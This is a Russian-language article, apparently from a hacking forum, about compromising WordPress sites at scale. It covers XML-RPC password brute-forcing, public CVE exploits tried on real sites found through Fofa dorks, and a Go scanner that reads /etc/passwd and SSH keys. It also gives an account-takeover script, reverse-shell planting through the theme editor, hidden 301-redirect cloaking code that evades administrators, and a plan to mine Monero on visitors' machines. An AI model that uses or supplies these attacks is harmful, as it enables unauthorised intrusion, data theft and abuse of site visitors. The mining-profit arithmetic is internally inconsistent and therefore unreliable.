func sanitizeDirName(site string) string {
invalidChars := []string{":", "/", "\\", "*", "?", "\"", "<", ">", "|"}
for _, char := range invalidChars {
site = string(bytes.ReplaceAll([]byte(site), []byte(char), []byte("_")))
}
return site
}
Функция sanitizeDirName заменяет символы, которые не подходят для имен файлов. В остальном код похож на тот, который использовался для проверки CMS.
Очень быстро вы обнаружите, что многие найденные CVE будут требовать авторизации. Это не обязательно должен быть аккаунт с правами администратора, но в любом случае возникает вопрос: как получить доступ к аккаунту? Ответ довольно тривиален — использовать атаку брутфорсом!
Особенность брутфорс-атаки на WordPress заключается в том, что зачастую она не происходит через веб-форму, а через протокол XML-RPC. Чтобы проверить, поддерживает ли конкретный ресурс XML-RPC, необходимо сделать запрос на https://example.com/xmlrpc.php.
XML-RPC — это протокол, который позволяет удаленно взаимодействовать с сайтом WordPress. Через XML-RPC можно отправлять запросы на выполнение различных операций, включая вход в систему. XML-RPC использует XML-формат для обмена данными и отправляется через HTTP POST-запросы.
Особенность техники заключается в том, что обычный брутфорс через веб-страницу проверяет одну комбинацию логина и пароля, имеет лимит на количество попыток входа и блокировку по IP-адресу, а также зависит от доступности страницы входа. Тогда как брутфорс через XML-RPC использует возможность протокола для отправки множества запросов в одном, может обходить ограничения на количество попыток входа, активирован по умолчанию на большинстве сайтов (если не выключен администратором) и может быть сложнее для обнаружения.
Итак, напомню, что список пользователей может быть доступен через /wp-json/wp/v2/users/. Slug — это и есть имя пользователя в системе.
Для брутфорса потребуется словарь, который можно найти на GitHub:
- SecLists/Passwords/Honeypot-Captures/Sucuri-Top-Wordpress-Passwords.txt
- wpxmlrpcbrute/wordlists/1000-most-common-passwords.txt
- rockyou.txt
Вводим команду:
wpscan --url https://example.com --passwords /path/to/passwords.txt --usernames admin --xmlrpc
В которой указываем имя пользователя, путь к файлу с паролями, тип атаки по умолчанию xmlrpc.
Горизонтальный взлом
Разберем несколько CVE и механизмы их работы.
Принцип работы горизонтального взлома заключается в поиске уязвимостей, дальнейшем поиске уязвимых сайтов и их непосредственном взломе путем использования ранее найденной уязвимости.
Начнем с CVE-2024-27956. Это критическая уязвимость, не требующая авторизации, поэтому в первую очередь мы постараемся разобраться, почему она возникла и как именно работает, а затем попробуем свои силы на реальных ресурсах, поскольку, вероятно, эта уязвимость уже привлекла внимание других исследователей.
Суть уязвимости связана с возможностью SQL-инъекции в плагине "wp-automatic". Этот плагин предназначен для автоматической публикации контента на сайте. Обычно статистика установок доступна в официальном каталоге плагинов, но данный плагин является платным, и мне не удалось найти данные о числе сайтов, использующих его. Однако на одном из сайтов указано, что у плагина более 40 тысяч покупок. В плагинах с количеством установок менее 50 тысяч обычно больше уязвимостей, так как они не попадают под программу баг-баунти от WordPress.
Находим эксплойт, написанный на Python: GitHub - diego-tella/CVE-2024-27956-RCE: PoC for SQL Injection in CVE-2024-27956.
Уязвимость возникает из-за недостаточной проверки входных данных на сервере в скрипте csv.php, который входит в состав плагина wp-automatic. Это позволяет выполнить произвольный SQL-код. В коде используется значение b'\0' (нулевой байт), которое обходит примитивные проверки на авторизацию. Сервер не проверяет, авторизован ли пользователь для выполнения запросов, а полагается на хэш, который в данном случае не привязан к пользователю и его сессии. Функция makeRequest выполняет запрос на сервер, внедряя SQL-пейлоад. При первом вызове скрипта он добавляет нового пользователя "eviladmin" в таблицу wp_users, а при втором вызове вставляет запись в таблицу wp_usermeta, предоставляя пользователю "eviladmin" роль администратора.
Проверяем сам скрипт на наличие "закладок". Обращаю внимание, что после первого запроса есть проверка if "DATE" not in response.text; это может быть довольно слабым местом, и возможно имеет смысл проверять по коду ответа, хотя такая проверка может быть наиболее корректной. Также хеши могут быть невалидными, но явных "закладок" в скрипте я не заметил, и визуально все выглядит нормально.
Ищем сайты. В некоторых более старых PoC CVE на GitHub можно обнаружить дорки для поисковых систем и понять, как составить их для других CVE. Составляем дорку для Fofa. Если речь идет об уязвимости в плагинах, то шаблон будет следующим: body="/wp-content/plugins/PLUGIN_NAME". Подставляем наш плагин и получаем body="/wp-content/plugins/wp-automatic".
Следуем инструкции с GitHub, проверяем цели, и довольно скоро понимаем, что эксплойт работает.
Проверяем сайт и видим, что там все немного сложнее. Не буду вдаваться в подробности, но на сервере есть определенная защита. Впрочем, можно с уверенностью сказать, что эксплойт работает.
Ещё одна из критических уязвимостей в плагинах, связанная с SQL-инъекциями, — CVE-2024-1071. Она позволяет получить доступ к базе данных. Находим эксплоит на GitHub, чтобы понять, как именно он работает: CVE-2024-1071-SQL-Injection/CVE-2024-1071.py at main · fa-rrel/CVE-2024-1071-SQL-Injection · GitHubb.
Функция check_version проверяет версию плагина и запускает дальнейший код только для диапазона уязвимых версий плагина. Далее вызывается get_nonce. Nonce — это одноразовый токен безопасности, который плагин использует для защиты от CSRF-атак. Функция пытается получить его из кода страницы /index.php/register/.
Функция get_directory_id предназначена для поиска валидного идентификатора директории (directory ID) в уязвимом плагине Ultimate Member. Этот ID необходим для успешной эксплуатации уязвимости через SQL-инъекцию. Если все проверки пройдены, функция выводит успешный результат и команду для Sqlmap.
Дорку для Fofa берём из репозитория. Количество результатов — более 90 тысяч. Проверяем на 10 сайтах. В скрипте необходимо немного исправить переменную ascii_art. Из 10 сайтов уязвимость обнаруживается на двух.
Пойдем дальше и рассмотрим CVE другого типа — CVE-2024-27954. Это также уязвимость в плагине, и снова в wp-automatic. Она позволяет перемещаться по директориям, используя доверенный плагин, тем самым являясь SSRF-уязвимостью.
Находим эксплойт — GitHub - Quantum-Hacker/CVE-2024-27954. Обнаруживаем, что он написан под Nuclie, о котором я упоминал в этой статье. Всё, что делает эксплойт, это обращается по URL: example.com/p=3232&wp_automatic=download&link=file:///etc/passwd и проверяет, реально ли мы получаем необходимый файл. Насколько я понимаю, такие уязвимости можно обнаружить фазингом.
Если вы не хотите скачивать Nuclie, можно переписать скрипт на Go, он будет выглядеть примерно так:
C-подобный: Скопировать в буфер обмена
Code:
package main
import (
"bufio"
"fmt"
"net/http"
"os"
"regexp"
"strings"
"time"
)
func main() {
urlFile, err := os.Open("urls.txt")
if err != nil {
fmt.Printf("Ошибка открытия файла urls.txt: %v\n", err)
return
}
defer urlFile.Close()
resultFile, err := os.OpenFile("good.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Ошибка открытия файла good.txt: %v\n", err)
return
}
defer resultFile.Close()
scanner := bufio.NewScanner(urlFile)
client := &http.Client{Timeout: 10 * time.Second}
vulnRegex := regexp.MustCompile(`root:.*:0:0:`)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url == "" {
continue
}
testURL := fmt.Sprintf("%s/?p=3232&wp_automatic=download&link=file:///etc/passwd", url)
resp, err := client.Get(testURL)
if err != nil {
fmt.Printf("Ошибка запроса для %s: %v\n", url, err)
continue
}
defer resp.Body.Close()
body := make([]byte, resp.ContentLength)
_, err = resp.Body.Read(body)
if err != nil {
fmt.Printf("Ошибка чтения ответа для %s: %v\n", url, err)
continue
}
if strings.Contains(string(body), `"link":"file:`) && vulnRegex.Match(body) {
fmt.Printf("Уязвимость найдена: %s\n", url)
_, err := resultFile.WriteString(fmt.Sprintf("id: vulnerable %s\n", url))
if err != nil {
fmt.Printf("Ошибка записи результата для %s: %v\n", url, err)
}
}
time.Sleep(2 * time.Second)
}
if err := scanner.Err(); err != nil {
fmt.Printf("Ошибка чтения файла urls.txt: %v\n", err)
}
}
Далее идем в Fofa, проверяем ссылки вручную. На первой ссылке нас блокирует фаервол, а на второй — мы видим файл. Мы также можем открывать другие файлы в директориях. Файл /etc/passwd содержит информацию о пользователях системы. Пользователи, у которых указан shell, могут иметь доступ к системе через SSH. Также можно попробовать получить SSH-ключи, подставив в строку file:///home/user/.ssh/id_rsa. Имена пользователей можно использовать для брутфорс-атаки на SSH/FTP-сервисы, используя, например, Hydra. Подробнее об этом я писал в этой статье.
Не все PoC будут настолько очевидными. Возьмем совсем свежую CVE-2024-50483 и откроем PoC на GitHub: GitHub - RandomRobbieBF/CVE-2024-50483: Meetup <= 0.1 - Authentication Bypass via Account Takeover.
Суть уязвимости заключается в обходе аутентификации и захвате учетной записи пользователя. Проблема в том, что функция facebook_register() позволяет обойти традиционные механизмы аутентификации. Обычно для входа в систему пользователь должен предоставить действительные учетные данные (например, пароль) для подтверждения своей личности. В данном случае плагин этого не делает, полагаясь только на адрес электронной почты.
Однако проблема в том, что по описанию уязвимости вообще неясно, о каком плагине идет речь. Я не нашел плагина Meetup версии около 0.1. Вероятнее всего, речь идет о плагине Import Meetup Events, хотя его версия совсем другая. Тем не менее, похоже, что в нем может быть метод facebook_register(). Попробуем составить поиск: body="wp-content/plugins/import-meetup-events". Иногда email-адреса можно обнаружить в уже знакомой нам директории /wp-json/wp/v2/users, но это происходит не всегда. На одном из сайтов с вероятностью 99.9% удалось найти email администратора, используя данные из LinkedIn. Напишем эксплойт под CVE:
C-подобный: Скопировать в буфер обмена
Code:
package main
import (
"bytes"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
)
func exploit(urlTarget, email string) {
// 1
data := url.Values{}
data.Set("action", "meetup_fb_register")
data.Set("email", email)
data.Set("first_name", "Test")
data.Set("last_name", "User")
data.Set("id", "12345678901234567890")
data.Set("type", "token")
data.Set("link", "https://example.com/user/test/")
// 2
client := &http.Client{}
req, err := http.NewRequest("POST", urlTarget+"/wp-admin/admin-ajax.php", bytes.NewBufferString(data.Encode()))
if err != nil {
log.Fatalf("Ошибка создания запроса: %v", err)
}
// 3
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprintf("%d", len(data.Encode())))
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Ошибка отправки запроса: %v", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Ошибка чтения ответа: %v", err)
}
fmt.Printf("Ответ сервера: %s\n", string(body))
// 4
if resp.StatusCode == http.StatusOK {
fmt.Printf("Успешный вход под пользователем с email: %s\n", email)
} else {
fmt.Printf("Не удалось выполнить вход для пользователя с email: %s\n", email)
}
}
func main() {
targetURL := ""
email := ""
exploit(targetURL, email)
}
- Сформируем POST-запрос с необходимыми параметрами.
- Отправим POST-запрос.
- Установим необходимые заголовки.
- Проверим, содержит ли ответ подтверждение успешного входа.
Запускаю скрипт, но не получаю успешного ответа. В итоге я даже не уверен, что речь идет об этом плагине. Оставим эту CVE.
Ну и в завершение рассмотрим CVE, которая приводит к возможности удаленного исполнения кода (RCE). CVE-2024-25600 — уязвимость, затрагивающая плагин Bricks Builder. Она позволяет внедрять и выполнять PHP-код. Эксплойт и подробное описание уязвимости можно найти на GitHub: GitHub - K3ysTr0K3R/CVE-2024-25600-EXPLOIT: A PoC exploit for CVE-2024-25600 - WordPress Bricks Builder Remote Code Execution (RCE).
Изучив код, становится понятно, что API плагина принимает запросы от клиента и обрабатывает их без надлежащей проверки. Также, согласно эксплойту, nonce, который используется для защиты от CSRF-атак, можно получить через JavaScript, загружаемый на веб-страницу. Функция fetch_nonce выполняет именно эту задачу. Далее эксплойт открывает шелл и выполняет произвольную команду, анализируя ответ на успешность эксплуатации. В скрипте также реализованы техники многопоточного программирования, позволяющие конкурентно обрабатывать ссылки.
Однако возникает вопрос: какой код вообще можно выполнить, получив доступ к административной панели WordPress-сайта или серверу, на котором запущен сайт на WordPress?
Постэксплуатация
Если уязвимость позволяет выполнить код удаленно, то она может подразумевать возможность открытия шелла. Шелл — это терминал на удаленной машине. Например, в Metasploit есть эксплойт для старой уязвимости CVE-2019-8943. Его код можно найти на сайте Exploit-DB — WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) - PHP remote Exploit. Дорка для Fofa: app="WordPress-5.0", и уязвимость всё ещё используется несколькими сотнями сайтов. Открыв шелл через Metasploit, можно попасть на сервер, а затем найти креды в ранее знакомом файле wp-config.php, к которому мы получили доступ через Google-дорку. Далее можно сделать всё, что можно сделать с сервером, например, повысить привилегии.
Но для этого вовсе не обязательно использовать Metasploit. Мы можем самостоятельно открыть реверс-шелл. Для этого нужно войти в админ-панель WordPress, перейти в раздел Appearance и отредактировать шаблоны, добравшись до PHP-кода страницы (например, можно взять страницу 404). Затем нужно добавить туда код реверс-шелла, который можно взять с этого сайта: Reverse Shell Cheat Sheet | pentestmonkey, заменив IP-адрес на адрес машины, на которой хотите принять подключение. После этого нужно открыть страницу 404 на сайте, а на машине-реципиенте запустить Netcat.
Также через админ-панель можно внести изменения во внешний вид сайта, заменив его полностью или частично.
Еще один вид пост-эксплуатации — это установка 301 редиректа. 301 редирект — это простое перенаправление на другую страницу. Пользователь нажимает на ссылку в поиске, но его перенаправляют на другой сайт. Это можно сделать разными способами; существует множество плагинов для этого, но лучший способ — изменить код шаблона в файле functions.php. Мы сделаем простой клоакинг в рамках этого PHP-скрипта. Поисковых роботов можно идентифицировать по user-agent, а для сокрытия скрипта от администратора можно определить его по IP-адресу. Эти метки можно расширять, тем самым продлевая жизнь скрытому коду.
PHP: Скопировать в буфер обмена
Code:
function custom_redirect_non_bots_or_ip() {
$allowed_ip = '190.112.103.215';
$user_ip = $_SERVER['REMOTE_ADDR'];
$bots = array(
'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'YandexBot', 'Baiduspider', 'Sogou', 'Facebookexternalhit'
);
$is_bot = false;
foreach ($bots as $bot) {
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
$is_bot = true;
break;
}
}
if (!$is_bot && $user_ip !== $allowed_ip) {
wp_redirect('https://www.example.com', 301);
exit();
}
}
add_action('template_redirect', 'custom_redirect_non_bots_or_ip');
В заключение расскажу о еще одном возможном варианте — установке майнера. Установить его проще всего, используя один из множества плагинов, хотя в идеале стоит внедрить кастомный JavaScript-скрипт, а также самописный бэкенд для поддержки множества заражённых сайтов. В качестве криптовалюты можно выбрать Монеро, так как она использует подход Proof of Work с демократичным специальным алгоритмом.
По расчётам, если на сайте в день около 10 тысяч пользователей, средняя вычислительная мощность одного компьютера при майнинге Monero (с использованием алгоритма RandomX) может составлять от 2 до 8 хешей в секунду (H/s) в зависимости от мощности процессора. Для простоты примем среднее значение мощности: 4 H/s. Считаем, что каждый посетитель в среднем будет тратить 1 минуту на страницу с майнером. За одну минуту один посетитель генерирует 4 хеша в секунду × 60 секунд = 240 хешей.
За день сайт с 10 000 посетителей создаст: 10 000 × 240 хешей = 2 400 000 хешей в день. Если сложность составляет 800 МH (миллионов хешей в секунду), то общая сложность сети — 800 000 000 H/s. Мощность сайта будет составлять примерно 0,3% от всей сети. Если за день майнинговая сеть генерирует 1 XMR, то на сайт с такой мощностью будет приходиться 0,003 XMR в день.
Допустим, текущая цена 1 Monero (XMR) составляет $150. Тогда доход с сайта в день составит: 0,003 XMR × $150 = $0,45 в день. Учтите, что 10 тысяч пользователей — это довольно высокая посещаемость, и код может быть быстро обнаружен.
Трям! Пока!